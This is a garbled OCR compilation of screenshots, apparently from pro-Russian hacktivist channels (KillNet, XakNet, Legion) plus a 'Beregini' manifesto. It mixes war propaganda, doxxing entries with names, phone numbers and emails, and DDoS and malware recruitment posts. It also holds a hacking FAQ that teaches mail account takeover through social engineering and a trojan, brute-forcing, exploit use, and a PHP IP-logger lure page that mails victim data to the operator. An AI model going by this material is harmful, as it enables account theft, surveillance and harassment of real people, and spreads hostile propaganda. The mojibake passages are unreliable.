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Banned? - write here @Snake_51

Our answer to all questions: - Our embarrassment is gone. Thanks to the
fucking waging of the war on the part of Khryuvoysk Ukraine, we are not
going to filter our ideas and goals now. Now our goal is the whole of Ukrain
Not a lot of art: Do not cry dill, your collapse is getting closer.
No more evil, you lost! And the Russian flag will develop, on the square in 7'7
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HACKERS
UKRAINE

- EAMHCTBEHHbIH AOCTOWHHBIA
NPOTHBHHUK ANA KH6ep
cneuManMcToB U3 PoccHM.

- OcHoBHas uensb (npodurt
KPHNTO CKAOM, KH6EP AHBEPCHS,
&dos)

https://t.me/killnet_k_hack_russia Get up off your knees!
@killnet_k_2_bot

= OTAHYHBIE TEXHHYECKHe
HaBbiku (60 npouenTos
cney1anMcTos apaeTt C++)

HACKERS UKRAINE

- The only worthy opponent for cyber specialists from Russia.
- Main goal (crypto scam profit, cyber sabotage, ddos)

- Excellent technical skills (60 percent of specialists have C++)

HACKERS
RUSSIAN

= EAMHCTBEHHbIA ROCTOHHDIA
NPOTHBHHK ANA Knbep
CNeLMancToB M3 YKPaHHbI

- OcHoBHas uensb (ddos,
KpHnTOnoKepsbl, ku6ep

HACKERS RUSSIAN passeaxa
- 0 . = OTAHYHDBIE TEXHHYESCKHE
- The only worthy opponent for cyber specialists from Ukraine LG DT
- Primary target (ddos, crypto lockers, cyber reconnaissance)
- Excellent technical skills (60 percent of specialists have C++) .
EUROPE

HACKERS EUROPE

- The only cyber cuntballs in the world

- The main goal (anonymous, threats and empty promises to the media)

- Zero technical skills (60 percent of specialists do not even know the alphabet)

- EAMHCTBEHHble Kubep
nu3pgabonbl B Mupe
-0 uens ( nop
QHOHMMYGC, Yrpo3bl H NYCTbie
oﬁauylunyue Ana cM“I)
- Hynesbie TeXHHYECKHE HOBbIKH
(60 NPOLEHTOB CNEeUMANIHCTOR
He o T AcoKe a36yKon)

- Aon6ae6bi
- Aon6ae6bl x2

OUR BOTNET

The infected network of computers of unsuspecting users is now equipped not only with malware
that allows you to direct traffic without the knowledge of the owner, but also connects the device
to the Blockchain. This gives us a big leap forward in terms of security for our users. Your datais no S
longer stored in databases and is not transferred to third parties in the form of hosting and servers. PGy
Our botnet uses the latest WEB3 technology Your data is stored distributed throughout the lepai  wnpe n caoew poe
Blockchain and is not available to law enforcement
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KILLNET Commander of the PHOENIX Squad

Personal data:

Name: Barabanov Vladimir Vladimirovich
Phone number: +79081998211

City: Krasnodar Territory, Kropotkin

Accounts:

@hatiadmin | #id1459596743

https://vk.com/id638428751

@chapaev_901 | #id1329097938

https://github.com/hatiadmin/ https://www.pinterest.com/hatiadmin/
https://www.youtube.com/user/hachil59/about
https://transitapp.com/redirect.html?url=whatsapp://send/?phone=79081998211

Alias:
hachil59, hatiadmin, chapaev_901

Confirmation Information:
Information not confirmed
Comments:

We carried out a mini operation to confirm the date, right now we sent a request for a provider with proofs through the SBU. We'll find out for sure
later, but so far the information has not been confirmed. But after we sent him this info, he started saying "Cheap, and so everyone knows who | am in
the killnet", and started trying to deanon on @cybernetspp

deanon on killnet, personality: Root.

number: +79687795191
full name: Raysky Andrey
mail: andrejgavrilov739@gmail.com
wannacry20201@gmail.com
address: Krasnoyarsk Territory, Kr
accounts:
@root_backdoor_Synaptics_A
https://ok.ru/profile/5747006
https://vk.com/id391893194
https://www.slideshare.net/ro
https://www.slideshare.net/ro
ing: root_backdoor, root_backad
root_backdoor_Synaptics_A
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Feedback: @xnteam_bot

The facade of special services for carrying out hacker operations, according to Bloomberg.
We do not sell ads.

We do not provide commercial services.

We can't hack your ex's page in social networks.

XakNet Team Ru

XakNet_team

XakNet is a team of Russian patriots who care about the fate of their native state.

We are opposed to any illegal activity. However, in conditions when an information war is launched
against our citizens, we see no other way out but to do what we do. We, as citizens of Russia, with all

due respect to our Ukrainian colleagues, are forced to respond to any actions directed against our XAK +
compatriots. K"—L
We do not hide behind the mask of abstract "Anonymous". We have a clear position, we do not plan BTcza TonbKo Hawano Bawero

to harm ordinary citizens, threaten to write off funds and cause panic. All our actions are aimed at
conveying a simple message - we do not accept a security threat to our country.

We will respond in an absolutely mirror image to any attempts to agitate our citizens for destabilizing
activities by spreading false information on hacked resources.

For every hack/ddos in our country, similar incidents will occur in Ukraine.

XAKNET in the early days - HACK-FAQ for beginners (Discuss here)
Attention! All similar questions on the forum will be deleted. Where
| don't know anything, but | want to become a hacker. Wh
But I still really want to, what should | do?
Why does a hacker need a non-standard way o
Eh .. and I'm such a lamer that | can't even
But if everything can be found, why then e ——

What is the right way to ask? e 'I

Damn, but | asked on the forum, but ‘wee -':""-_:

What about popular hacking sites? ; S ——— :'H'

There is really a lot of information e SO many terms! ace, etc.?
What is the necessary knowledge ol ——

| heard that all hackers don't use q“-l‘-'_ L QI T—
x e

e e
Online hacking FAQ - il =

How to hack soap on mail.ru anc
How to hack soap on less secure
How to hack server ***? Can yo
How to use sploits?

How to compile a plot under Windc
How to run a plot under Windows?
How to run a plot on a shell? | can not.
How to hack a site?

What vulnerabilities are most common on w
How to hack ICQ?

How to find out the ip of the server, for example y
How to find out the ip of a user on the network?

| know the ip of the computer / user, how to hack it
How to hide your ip?

How not to sleep during a break-in?

Where to get anonymous proxies and what to do with them?

What to do with a password like this: d8578edf8458ce06fbc5bb76a58c5ca4d?

How to use JohnTheRipper (JTR)?

How to use nmap?

How can | upload something to the server?

| managed to steal cookies from someone else's computer, what should | do with them now?

FAQ on Windows and PC hacking

| run the console program, a black window appears and disappears. What's wrong?
| know the net send command. Are there any other interesting commands?
How can | see which ports | have open?

How to close a specific port in Windows?

| have a bunch of open ports on my system. Are they Trojans?

How to hack ZIP / RAR / SFX archive?

How to crack BIOS password?

Where are user passwords stored in Windows?

How to find out passwords or elevate rights from guest to admin in Windows XP
Are there UNIX system emulators for Windows?

How can | connect computers via modem without the Internet?

How to make free international calls via the Internet?

How to optimize and speed up Windows XP?

*nix FAQ
Basic unix commands

Where UNIX passwords are stored ‘E%m;;ﬁ@
Security FAQ

My firewall tells me from time to time about RST attacks, or port scans from websites | visit. Is someone following me? Copyright July 12, 2022
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Where to begin

e I don't know anything, but I want to become a hacker. Where to begin?
¢ Believe me, if you want to live in peace, it’s better not to start ...

o But I still really want to, what should I do?

e Well, then you should start by not asking this question in the forum.

First, let's define who a hacker is: this is a creature that has a computer (well, this is a must), two hands (one for a mouse, the other, of
course, for beer), a head (for headphones), and a refrigerator (well, beer is not warm drink!). If you have all this, then you have every
chance to become a real hacker ;) Oh, yes, I almost forgot, a hacker must also have a non-standard way of thinking!

Why does a hacker need a non-standard way of thinking?

Everything is very simple. A hacker is on "you" with a computer and with the Internet, which means that he does not need anyone's help -
he can find all the information in search resources. If you learn this simple truth, you can quickly achieve success. Believe me, the
yandex.ru and google.ru databases contain answers to 90% of questions, so if you don't want to wait several days for an answer, use this
advantage. This is their "little secret"; how do they know so much. And don't be afraid to be original!

Eh .. and I'm such a lamer that I can't even use search engines.

Stop. A lamer is only one who does nothing. Remember the 90%? Never forget this number. We go to yandex.ru, enter the query "Search
for information using search engines" and voila - we get to the page http://www.poiskinfo.net/stat/st1.php, where everything is described
in detail how to search and where. Read on and in 15 minutes you'll be a web search expert. :)

But if everything can be found, why then a forum?

Firstly, a forum is a community, people united by common interests. They discuss everything from the weather to interesting hacks, but
that doesn't mean they're happy to deal with your problem.

Secondly, remember once more about 90%. There are 10% of questions that are really not yet answered in the search engines, or they are
so well hidden that they can never be found. Well, then you have every chance to ask your question first. Since he has not yet met, most
likely, your descendants, faced with the same problem, will fall on your topic. So try to get it right.

What is the right way to ask?

A wonderful article on how to ask questions: http://In.com.ua/~openxs/articles/smart-questions-ru.html. Try to read at least the key points,
this will greatly increase the chance that you will be answered and helped.

Damn, but I asked on the forum, but they didn’t answer me even after a week. Yes, they don't know anything! It means that you have not
read this wonderful article: http://In.com.ua/~openxs/articles/smart-questions-ru.html. Spend 10-15 minutes so that you don't lose days
later ... Believe me, it's worth it. If you can't even do that, let's not become hackers, okay? :) What are the most popular hacking sites?

Here is some of them:

e securitylab.ru
e antichat.ru

e web-hack.ru

e hackzona.ru

e xaknet.ru

e www.xakep.ru
e void.ru

e security.nnov.ru
e anonymous.ru
e Inattack.ru

e cmanual.ru

e sources.ru

e codenet.com

In addition, here is a very useful site with programming docks: doks.gorodok.net
There is really a lot of information on the net for beginners, but there are so many terms! What is a sploit, proxy, IP, deface, etc.?
Firstly, many incomprehensible words can be found here: http://www.xakep.ru/magazine/xa/049/024/1.asp.

In addition, there is one universal way: Open yandex.ru, and write there, for example, “what is a proxy”. By the way, you can get
acquainted with the rudiments of artificial intelligence of this search engine by seeing how it converts your request into “a proxy is ...”.
Therefore, do not hesitate to ask him questions like “what is ...”, he knows everything. Let it be our secret :)

&
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What is the necessary knowledge to become a hacker?
First, you need to have a good understanding of at least one of the operating systems, Windows or *nix.

Know at least basic shell commands, both Windows and *nix. Knowledge of one of the interpreted languages is highly desirable,
preferably PHP or perl. Without knowledge of HTML, JavaScript, CSS, it will be very difficult. The ability to write Windows programs is
very useful. Accordingly, it is C/C++, Delphi or Visual Basic. The ability to quickly find the information you are interested in in search
engines will be a definite plus.

Knowledge of the principles of functioning of a computer, networks and the Internet in general. Of course, you can’t cover all this at
once, start with one thing and master it gradually. Over time, you will understand for yourself what is useful and what is not.

I heard that all hackers don't use Windows is it true?

Not really. The matter is that the majority of servers are unix systems. That is why the better you know niks, the more you will be "lucky"
in hacks. And the best way to find out the system is to put it on your computer. In addition, Unix is very attractive for efficient
networking. Some technologies that have been successfully implemented in nix are not even supported by Windows, while individual
programs like Corel Draw do not yet have analogues in * nix. So in what OS to work, this, in principle, is more convenient for anyone. If
you want to get acquainted with some niks, but do not want to part with Windows, then you can leave it and install Linux as an additional
OS. If you are interested, you have a direct path to

http://www.cnews.ru/reviews/articles/index.shtml?2005/09/30/188154
Online hacking FAQ
How to hack soap on mail.ru and yandex.ru?

I will probably disappoint you, but mail.ru mail, or yandex.ru, cannot be hacked. Why? http://mail.ru is perhaps the most popular mail
system. The mail.ru server administration has huge advertising revenues, they lure users with advertisements in print media and on
television, do you really think they will spare money for good security specialists? Forget it. And, most importantly, never get fooled by
the offers “hack any soap on mail.ru for $5” - you will be thrown in the most impudent way. Lots of ways to fool suckers. The most
common one is “a secret mail robot was found that tells the password from any mailbox if you send it your password”, they also offer
various programs for hacking the mailbox “100% working and for only $25”.

But stop, not everything is so sad. What? Did I say mail.ru can't be hacked? I was joking :) If you can't find a bug in the server itself, why
not find it in the head of the mailbox owner? So, attention, the most common ways to hack mail on mail.ru. Of course, they also roll for
other mailers.

Well, let's get started:

1. The first step is to try to find the answer to the secret question. The chance is low, but worth a try. For example, the answer to "favorite
dish" is most often "kebab", or "dumplings".

2. Let's say soap vasya-pupkin@mail.ru. You look in search engines (Yandex, Google and Rambler are enough) for all the sites where he
appeared, write out all the nicknames under which he walks around the network and all the sites on which he is registered under these
nicknames. Of course, if the login is like alex, then nothing will work, you need a unique

After that, you explore all the sites found. If a person has been online for a long time, it is more than likely that a year or two ago he
registered with his password on some superforum2.h14.ru, which will not be difficult to crack. The password for the account on the forum
is often the same as the password for the soap.

3. We send a Trojan to the person in the hope that he is a big-eared lamer and will bite on superFoto.jpg............. exe. You can send a
password-protected csmaps.zip archive on behalf of his friend, saying that there is a new cool CS map. Enter the password in the letter.
As arule, users check the password-protected antivirus archive, and then open it without a hint and run the exe file. For these purposes,
the Pinch Trojan is quite suitable.

4. Let's say nothing helped. A person monitors the soap, changes passwords, etc.

Not everything is lost. Again we go to the page for remembering the mail.ru password and look for a retreat pass for soap. There is? Then
you can try to find out the second soap and repeat the whole procedure from the beginning. Perhaps his man guards not so zealously.

How to hack soap on less secure mailers: newmail, hotmail...?

1. The most pleasant thing is to find the bug yourself: for example, a vulnerability in the web interface: perhaps XSS is hidden
somewhere, or even SQL-inj.

2. If the admins have not yet scratched themselves to make protection against brute, you can try to reset the password. There are tools for
this, for example, the good old Brutus AET under Windows, or THC-Hydra under niks.

3. Use social engineering methods described for mail.ru

f7%
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How to hack server ***? Can you help?

Each hack is a creative process. And everyone breaks the way he likes. But, first of all, of course, it is worth thoroughly studying the
“experimental” server. What system is on it, what services, does the admin follow patches and updates, etc. With sufficient experience, a
hacker can find out all this with only a browser and a telnet client, but for a beginner, the easiest way is to use a vulnerability scanner. For
example, SSS scanner under Windows, or nmap under *nix.

Did the scanner find a vulnerability and happily report it? Do not rush to the forum with the question "nmap gave me ***, what to do with
it" - you will most likely be sent. Type the keywords from the phrase about the vulnerability into a search engine (google is better) - I'm
almost sure that you are not the first one who was going to ask such a question! And where there is a question, there is an answer :)

If the server has an old bad version of one of the services, try to find sploits for it. They are most often available on sites such as
securitylab.ru.

For example, the scanner showed that the ProFTPD 1.2.7 FTP daemon is hanging on port 21. We open http://securitylab.ru, enter
ProFTPD into the search and get to this page: http://www.securitylab.ru/poc/221962.php?phrase 1d=242509. As you can see, you can
immediately download an exploit that will give you root, and this, as you understand, is very good :)

How to use exploits?

Very simple. Run the plot with the desired parameters, and it will do everything for you. The problem is that most of the plots are open
source only, that is, a regular *.txt file with C++ or perl code. If this is C ++, then the plot will have to be pre-compiled. You don't need to
compile perl or php plots, they are executed directly on the server. If you have a shell, just upload the file there and run it. If you have
nothing but your native Windows, you will have to download and install one of the emulators. For example cygwin and activePerl. You
can, in principle, use denver (denwer.ru), but then you will most likely have to manually add some network libraries that are not in the
default configuration.

Remember that most source code sprites have "fool-proof™, that is, specially made syntax errors, so if you are an absolute zero in
programming, you will have to look for an already corrected working sprite.

How to compile a plot under Windows?
Well, a very detailed guide is given here: http://www.razrushitel.front.ru/complite.html
How to run a plot under Windows?

Press WinKey + R (or Start -> Run), there cmd and press ENTER. A black window will appear, in which you need to run your plot. You
can move through the directories with the command CD directory name, go from drive C: to drive D: you can use the command CD /D D:

A list of all files and folders can be obtained with the DIR command. Other commands can be found by typing HELP.
As arule, help on using the plot is given when you run it without parameters, or with the --help or -h options.

How to run a plot on a shell? I can not.

As a rule, help on using the plot is given when you run it without parameters, or with the --help or -h options.

How to hack a site?

Maybe you will be upset, but there is no miracle program lomalka saitov.exe, no “hack site” spell, no word that you need to enter on the
site to make it hack.

Experience, knowledge, and perseverance are the three pillars on which the most successful hacks are based. Read the descriptions of
already committed hacks, which are just to the heap on the network, everything is described in detail there. Read 5-10 of these
descriptions and you will get an idea of how to hack a site. At least roughly ;)

I can only give a few recommendations:

- It is very important on which server the target site is located. Perhaps the admin does not monitor the server and does not patch the
system in time. You need to be aware of all the latest vulnerabilities in order to immediately notice this. You can find information about
the server, for example, at www.whois-service.ru.

- If this 1s a server of a large hosting company, like valuehost, you can be sure that it will not work to hack the server, and it makes no
sense to set the scanner in the hope of finding a bug service. In this case, it is most reasonable to start by looking for bugs on the site
itself, perhaps the programmers made a mistake.

- Start by looking for installed "third-party" scripts: forums, chats, guestbooks, etc. Or maybe the site itself is some kind of public web
portal like php-nuke. Then it remains only to find out the version of the script and check if any vulnerability was found in it.

A good article about hacking websites: www.hackzona.ru/hz.php?name=News&file=article&sid=2045
What vulnerabilities are most common on websites? The main vulnerabilities are undoubtedly:
1. SQL injection (SQL injection)

SQL injection refers to the insertion of SQL metacharacters into user input that results in a change to the database query. As a rule,
crackers first determine the vulnerability of the site to such an attack (for this, a single quote character is sent to the form, or to one of the

url parameters). The consequences of such an attack
@
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How to find out the ip of a user on the network?

1. Communicate with him via ICQ. Many icq clients like Miranda IM, SIM, etc. show ip in user information. If you do not want to
download advanced clients, you can use special programs such as uin2ip, or patches for standard versions of ICQ. In addition, the website
www.leader.ru has a UIN Locator. You enter the UIN and you get an IP, the main thing is that the person is not offline.

2. Get the user to send you an email. Regardless of whether he uses the web interface, or a mailer like TheBat!, his ip will be indicated in
the message headers. In TheBat! The headers can be read by right-clicking and selecting "show RFC-822 headers" from the context
menu. Look for the text "Received: from", which is closest to the body of the letter - immediately after these words will be the sender's IP
address.

3. Find out which irc channels the user is on and look there
4. If nothing helps, but you really want to, don't despair.

If you have a hosting where you can run perl/php (if not, you can register for free, for example, on h15.ru), then here's another way - you
choose a page that has a photo of some random person (let's say, http://masters.donntu.edu.ua/2001/ggeo/pavelchak/), you copy the entire
HTML code into a new file, for example, info.html and save it on your site. Next, you create another index.php file with the following
content:

<?$message = "Date: " . date("d.m.Y H:i:s") . "\nIP: " . SREMOTE_ADDR . "\nServer: " . gethostbyaddr(SREMOTE_ADDR) . "\
nHTTP_X FORWARDED FOR:".S$HTTP X FORWARDED FOR . "nPage: ".$SERVER NAME . SREQUEST URI . "\nQuery: "
. $QUERY_STRING . "\nComing from: " . SHTTP_REFERER . "\nBrowser: " . SHTTP_USER AGENT . "\nFilename: " .

$SCRIPT FILENAME;

mail("admin@mail.ru", "Requested ip", $message, "From: admin@mail.ru\nContent-Type: text/plain; charset=windows-1251", "-
fadmin@mail.ru" );

$fp = fopen("log.txt", "a");

fwrite($fp, str_replace("\n", "\t", $message) . "\n");
fclose($1p);

include("fil.html"); 7>

Of course, soap admin@mail.ru must be replaced with your mailbox. This page (index.php) will not visually differ from the original, but
logs with ip and user system parameters will be sent to you by mail and duplicated in a log file (check that this file has write permissions,
for example 666, or 777) . In addition, if a person is on the local network, you will also get his local ip, and if he goes through a proxy,
then you will have the ip of both the proxy and his own.

Now your task is to lure the user to this page. Of course, you should not just send it via ICQ. My favorite way is this: “Hello [here is the
name of the person whose ip you want to know], do you remember Tanya ([and here is the link to your page with a photo])? She said you
can help me with the design (hacking, cactus breeding, etc.). 100% valid :)

I know the ip of the computer / user, how to hack it

IP is the unique address of a computer. Just as each inhabitant of the planet must have a unique home address (Country, city, street, house,
apartment) to send mail, each computer must have its own unique IP address so that other computers on the network can send information
to it.

Therefore, your question is tantamount to the question "how to break into a friend's apartment if I know his home address."
I hope you understand that just knowing ip is not enough.

You can read more about the ip-address here: http://www.sluh.freenet.kz/p8/12.html

How to hide your ip?

If you want to hide, i.e. change your IP, the easiest way to do this is to use anonymous proxies. However, not all so simple.

Usually, when accessing a site, two [P addresses are passed to the web server: REMOTE ADDRESS and
HTTP_X FORWARDED FOR.

REMOTE_ADDRESS - this is your ip-shnik: by which they ban, which admins see, etc.

HTTP_X FORWARDED FOR is an additional parameter that stores your real IP. For example, if you're on a local grid, this would be
your internal address.

Keep in mind that even if you go to the network through a proxy, and your IP has changed to the IP of the proxy, your old IP will still be
litin HTTP_X FORWARDED FOR!

Therefore, for complete anonymity, you need to select only those proxies that are marked as high anonymous or elite proxy. These servers
do not transmit any information about your old IP and are completely confidential. Unless, of course, it's not a server of special services
agents;)

How not to sleep during a break-in?

1. Climb the network only through an anonymous proxy so as not to expose your ip
2. Cover your tracks... To do this, use some log cleaner like vanish2

Where to get anonymous proxies and what to do with them?

Anonymous proxy lists:

e  WWW.Samair.ru/proxy

o www.web-hack.ru/proxy
e www.freeproxy.ru/ru

e  www.proxy4free.com

e WWww.anonymizer.com

e Www.anonymizer.ru

A couple of proxy checkers:

o www.checker.freeproxy.ru/checker/
e www.samair.ru/proxy/proxychecker/
.... and much more

voodoo@mail.ru
© Lex Voodoo
Corrected by S(rlpt: Fuck ad..
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Legion - Cyber Spetsnaz RF
June 08, 2022

I . Introduction
Legion is a project from KILLNET , which is a voluntary independent movement of talented professionals focused primarily on DDoS.

Il . Internal regulations

The Legion is designed to fight against enemy countries and protect the civilian population of the Russian Federation from outside aggression in the information space. It is not easy to solve such tasks alone, therefore, the Legion attacks has implemented
specialized detachments to prevent the ill-wishers and, accordingly, use methods of influencing them. Thus, in order to maintain the atmosphere in internal conversations, certain rules have been established that the current members of the group must
follow, otherwise responsibility will follow.

Note : the rules may be further changed by the leadership of the Legion without the knowledge of the participants.

NDA (Non-disclosure agreement) or "non-disclosure agreement".
Getting into our ranks, of course, you are aware that the information received in the closed chat should in no case be transferred in any form to third parties. Working moments should not be on public display. Violation of this paragraph entails sanctions in
the form of exclusion from the detachment for an unlimited period without the right to amnesty.

2. The expected behavior of the squad members.

The conversation is an opportunity for direct contact between the Commander and members of the movement. To avoid destabilization of the situation in the chat, recommendations and restrictions are given that will help in building effective interaction, as
well as cultural communication.

. If you are absent for more than 2 days without notifying the Commander, you leave the squad without warning.

. Of course, we expect you to show generosity, courtesy, decent behavior, showing respect not only to the leaders, but also to all members of the detachment. Providing assistance to allies in the team is also welcome.

Forbidden : It is forbidden to interrupt elders or assistants during the announcement of important information.

. Evasion from providing reports on work in the detachment. It is not welcome to incite (attempt to provoke) conflicts in any form, disrespectful attitude towards the participants, the Commander and other senior persons (even in a "joking" form!)
Therefore, we urge you to refrain from such undertakings.

Sending text, graphics, sound and other materials that directly or indirectly violate the laws of the Russian Federation.

Placing videos or photographs containing pornographic content, inciting interethnic, intercultural, interethnic hatred. / \

It is unacceptable to use foul language, insult the participants and the Administration (even in a veiled form).

Advertising third-party resources that are not related to the Legion (without coordination with the leadership of the Legion) LA
An attempt to expose (deanon) any of the members of the squad who (s) did not violate (s) the current regulations of the Legion.
Dissemination of information (rumors) that does not correspond to the reality of information (disinformation).

DDosS attacks, espionage, hacking or other measures of influence directed against the Russian Federation and allied countries.

Legion Russia

note: violation of any item from this list is punishable, therefore the Commander has the right to issue a warning, or to exclude the violator, depending on the situation (the leadership of the Legion may intervene and act at its discretion).

3.Security

This type of activity may not suit everyone, because there are many facts that affect your personal safety. If this does not scare you and you are ready to act, you should think about how to hide your real data from prying eyes as much as possible.
. Stay in the background, you don't need to run away immediately after your candidacy is approved and tell everyone in a row: "I'm a hacker from KILLNET". Any leads to your true identity endanger both the detachment in which you are a member and
yourself.

4. "Look" of the participant

. Those involved in the detachment must use a nickname, profile picture and account description that does not contain offensive or pornographic content, including advertising of third-party resources that are not related to the Legion (at the
discretion of the Commander or the leadership of the Legion).

IT . The main composition of the Legion
The staff of the movement is large and varied. Aspiring to join and help us in a brave cause will be taken into account and considered, so you just need to meet certain criteria. This section contains a complete list of Legion unils
yourself with.
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Legion - Cyber Spetsnaz RF 2

June 08, 2022

Specializing in DDoS

First of all, not only experienced fighters are taken into units of this type, but also beginners who have been trained or already have basic knowledge. Requirements: being active in ongoing events (gatherings) from the Commanders, compliance with the current
regulations, the presence of VDS / VPS, high performance on dstat.cc or cyber-hub.pw (> 100K; check with the squad leader).

List :
° Sakurajima

Contact: @sakurajima_support
. RAYD

Contact: @DEVIANT100
. Phoenix

Contact: @chapaev_901
° [NEW] NBP

Contact: @kurumi_the_killer
° [NEW] WIDOW

Contact: @lifemiles
. [ NEW] DedSec

Contact Contact: @notsupportusername
° [ NEW] Alpha

Contact Contact: @ MUDHACk
. [NEW] SPQR

Contact Contact: @ddgpost_legionRU

Those who are just interested in this topic can be trained in a special private channel of the Legion. Apply --> *here* After fulfilling the requirements that are posted in the pinned message, you will be invited to the next chat, where it will already be possible to join
one of the squads.

2. Hacking, OSINT, creative tasks and information warfare

Tasks solved in the Legion are not limited to DDoS. We are also interested in finding professionals who know their business. We single out the following specialists: hackers, programmers, osinterers, miners, virus analysts (Reversers). Separately, this list is also in
demand: musicians, vocalists / announcers, video editors, artists, designers, photoshoppers.

Note : No training provided, experienced candidates required.

Zarya
Communication contact: H45H13 Dial
conditions: * here * https://telegra.ph/Nabor-Zarya-06-05

The official image of the "Zarya" detachment RTA
SPARTA

Purposes : cyber sabotage in NATO countries and exposure of their officials, cyber intelligence, financial activities, theft of private information, destruction of Internet resources.
Communication contact: SPARTA (@killnet_sparta)

The official image of the squad "SPARTA"

4. The initiative to create your own squad SPARTA

Everyone who truly knows how to lead the team forward, controlling the actions of the participants at the proper level, having experience in working with DDoS attacks (presence of botnets, VPS / VDS) and any (possible) achievements (example: "l was able to put

in alone with its capacities, the entire state website of the enemy country https://link_which_was)
F@&W%
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IV. Additional information.

The current chapter is a reference. Useful links, reliable sources, so as not to fall into the hands of ill-wishers who are trying to hide behind a false name for their own benefit.

Contacts of officials (see the first page diagram):
KillNet - for all questions.

H45H13 - Commander of the Legion.

Who - about creating your own squad.

Kitt BFZ - President.

AlphaMB65 is the KillNet security service.

Reliable sources :

WE ARE KILLNET is the main KillNet channel.

WE ARE KILLNET is a backup channel.

LEGION is a project from KillNet.

Inform Zarya - insiders from the Zarya detachment.

Beregini is an ally.

RaHDIt is an ally.

REvil is an ally.

Anonymous Alliance is an ally.
Anonymous Austria is an ally.

Fﬁeedﬁene—?ﬁ@
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Zarya set — Recruitment for Hackers
H45H13 June 05, 2022

) Hackers

Experience in information security

Experience in identifying and exploiting Web vulnerabilities

Experience in identifying and exploiting vulnerabilities on Windows and *nix systems

Knowledge of post-exploitation, pivoting and pinning techniques on windows and *nix systems

Strong knowledge of common programs and framewaorks for testing (For example: Burp Suite \ Fiddler, ZAP Proxy \
Netsparker, Metasploit, PowerSploit, Nessus \ Nexpouse, BloodHound, Cobalt, impacket, responder, mimikatz, sqlmap, etc.)

Confident working with exploits, their modification and execution

Understanding current information security threats, attack vectors and vulnerabilities
Experience with databases of vulnerabilities;

Ability to read code in one or more languages: C/C++, Python, Java, JavaScript, PHP;
Confident linux user

Knowledge of English

Experience in participation in bug bounty programs, CTF, information security competitions
Confident programming skills in at least one programming language

reverse engineering experience

Proficiency in social engineering

Virus spread experience

Programmers

Proficiency in a programming language (Python, C#, C++, PHP, Perl, JS, Golang)
Knowledge of Bash/Powershell scripting languages

Skills in collecting information based on open sources (OSINT), developing tools for collecting, processing and analyzing data
Working with exploits, their modification and execution

Working with streams

Reading someone else's code

Knowledge of English

Experience in creating cryptors, malware (stealers, ransomware)

Ability to optimize code

Experience with Linux operating systems and containers

Experience with relational databases

Virus spread experience

Proficiency in social engineering

@, Osynters

Geosynthetic

Breaking through (GB # breaking through)

intelligence service

Availability of bases # experience

Creation of reports (understandable and readable, and not just throwing information into the chat)
Virus spread experience

Proficiency in social engineering

£ Virus analytics-operators\Reverse

Knowledge of modern threats, methods, tools and techniques for conducting attacks, as well as methods and tools for their detection and response.

Knowledge of network protocols, architecture of modern operating systems and information security technologies
Assembly Knowledge

Basic knowledge of OllyDBG, Hiew, IDA tools;

Basic knowledge of Windows architecture, PE files;

Reverse skills x86/x64; .net

Experience with malware (Creation, distribution)

Knowledge of English

Proficiency in social engineering

{3 Musicians

Experience in writing music (background, intro, independent works) from two years
Working with sound: recording, mixing, etc.

Experience in writing music in different directions

DAW skills: ProTools, Logic Pro, Cubase, Ableton, FL, MMM + knowledge of vst plugin sets
Having a portfolio of tracks that demonstrates the ability to connect at different stages of music production
musical taste

creative thinking

Imagination

Playing musical instruments

Recommendations from artists

musical education

} Vocalists\Announcers

Beautiful vocals \ Clear pronunciation, pleasant voice
musical taste

creative thinking

Imagination

Having a portfolio

Having a quality microphone

The ability to record your own vocals
Playing musical instruments

Working with sound: recording, mixing, etc.
musical education

§ Video editors

Work experience (Wideblogging, TV, production studios, etc.)
Knowledge of Adobe After Effects, Premiere, their alternatives
Having a portfolio

creative thinking

Sense of style and humor

Knowledge and experience of compositing and color grading
Creative approach to solving non-standard problems
Experience in content planning

Ability to produce high quality music

Knowledge of Audition and Photoshop

Blender, Unreal Engine

profile education

Artists, designers, photographers

Work experience (graphic designer, illustrator, artist, etc.)

Having a portfolio

Ability to draw well. especially the characters. But not only.

universalism. Need to draw promo art of the character - OK. Need to draw a tank - also OK
fluency in Adobe graphics packages (Photoshop, lllustrator, InDesign), CorelDraw, etc.
image skills: clipping, retouching, color correction, collage, etc.)

artistic taste, efficiency, commitment, accuracy and attention to detail

creativity

Taste and flair for trends

art education\Art school\courses

Experience in creating decals/stickers for printing

Experience in creating flyers

Experience in creating logos

Knowledge of the basics of prepress processes and the production of preparing files for printing

F@ﬁm%@
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People's CyberArmy RU

Cyber Ice March 09, 2022

We dissect fakes and give links to rebuttals.
Analytics: @warfakeres

Suggest fake: @military_fakes_bot
Collaboration: @ads_warfakes_bot

BoliHa ¢ peitkamm

@warfakes

In connection with the growth of the audience, it was decided to reorganize its work: BAAV HAUMCTCKYIO
We are restricting group entry. Now entry by request. IT-MHOPACTPYKTYPY
The following groups will be created in the following areas: 13 NOMA

e general chat

e DDoS attack coordination

e Agroup of pentesters

e creative group

e web development group

[}

Now about each group in more detail:

general chat
Purpose: Conversation on topics of interest, only persecution, Nazism and dill propaganda are not welcome. We also drop goals here.
Adding via https://t.me/+0IxZ9UKJWtINjE6

DDosS attack coordination
Purpose: Dos tech support chat where targets and te
The link to add can be obtained in the general ¢

A group of pentesters
Purpose: Coordination and execution o
Added via @annaivanovna542 @m1lke

creative group
Purpose: Creation of creative (me
Adding via @Kaa_Z

web development group

Goal: Creation of resources to c
Added via @annaivanovna542
Given the high volume of compla , here | will post information
about where we will move.

F@ﬁm%@
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beregini

Ukrainian hacker group "Beregini". We know everything.
CONTACTS: @bereginifeedbackbot BG14@protonmail.com
Website: https://bgl4.ru

We "Beregini" #8G14 opened our telegram channel, now we are there with you! Now an interesting material about the moral and psychological support
of the Armed Forces of Ukraine is being prepared for publication on our website. The article and supporting links will be published tomorrow.
Dear Ukrainians!

We are Beregini - Ukrainian women's hacker movement. We stand for peace in Ukraine, we do not need war. The oligarchs are pushing our country to
collapse, sowing chaos and devastation. Poverty and hunger are already at the doorstep of every Ukrainian family. Freedom has become just a sign
behind which moneybags rob their people in order to build palaces for themselves, and transfer their multimillion-dollar accounts offshore. From the TV
screens they zombify us, telling us that Russia is an enemy, and she unleashed a war. Meanwhile, former bandits and urks, straying into gangs and
calling themselves patriots, kill, rape and rob civilians. And behind all this horror is the president and his government, the Ministry of Internal Affairs, the
Security Service of Ukraine and the Ministry of Defense. The bloodsuckers of the Ukrainian people came to power. And only they need the blood of this
war, the victims of which have already become tens of thousands of Ukrainians.

Do you want to live in such a country? DEBHOHICH! | YH MY
We are not!

Therefore, we declare war on them.

Tremble bastards and wait for our punishment.
Soon...

